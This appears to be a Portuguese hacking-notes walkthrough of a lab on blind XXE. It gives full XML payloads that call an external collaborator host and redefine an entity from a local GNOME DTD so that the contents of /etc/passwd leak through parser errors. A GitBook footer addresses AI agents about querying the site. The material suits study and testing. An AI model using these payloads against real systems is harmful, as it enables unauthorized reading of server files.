> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/xxe-reusing-local-dtd-to-extract-data.md).

# XXE Reutilizando uma DTD Local para Extrair Dados

### Explorando XXE para recuperar dados reaproveitando um DTD local

Explorando uma vulnerabilidade XXE na funcionalidade Verificar estoque: o servidor analisa XML, mas não mostra o resultado diretamente. A abordagem é referenciar um DTD local presente no servidor e redefinir uma entidade para causar um erro contendo `/etc/passwd` conteúdo.

Sistemas que usam o ambiente GNOME geralmente têm um DTD local localizado em `/usr/share/yelp/dtd/docbookx.dtd` que define uma entidade chamada `ISOamso`. Usando este DTD já presente para injetar entidades paramétricas maliciosas

Forçar o analisador XML a gerar um erro que divulgue `/etc/passwd` o conteúdo redefinindo uma entidade de DTD local.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://w52exyblnbndiw6sm90k2j5ez55wtmhb.oastify.com"> %myFile;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/ade12c0bc5ffdd60d4d809cc643242854842dc23" alt=""><figcaption></figcaption></figure>

A tentativa anterior produz um erro no lado do servidor.

<figure><img src="/files/acfd4d448ebdceff50ae084532f98fad102f7352" alt=""><figcaption></figcaption></figure>

O DTD local é declarado e a `ISOamso` a entidade é redefinida para injetar entidades paramétricas que leem `/etc/passwd` e, em seguida, forçam uma exfiltração por uma entidade inexistente para causar um erro contendo o conteúdo lido.

{% code overflow="wrap" fullWidth="true" %}

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
```

{% endcode %}

Quando o DTD local é incluído e a `ISOamso` entidade é redefinida conforme acima, o analisador tenta resolver a `exfil` entidade apontando para um caminho inexistente (`file:///noexist/...`). Essa resolução causa um erro do analisador que, em seu rastreamento, inclui o resultado da expansão — isto é, o conteúdo de `/etc/passwd` aparece na mensagem de erro retornada pelo servidor.

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

<figure><img src="/files/3ca715be482e1a77e475704e0ca8e04a09b029a4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/xxe-reusing-local-dtd-to-extract-data.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
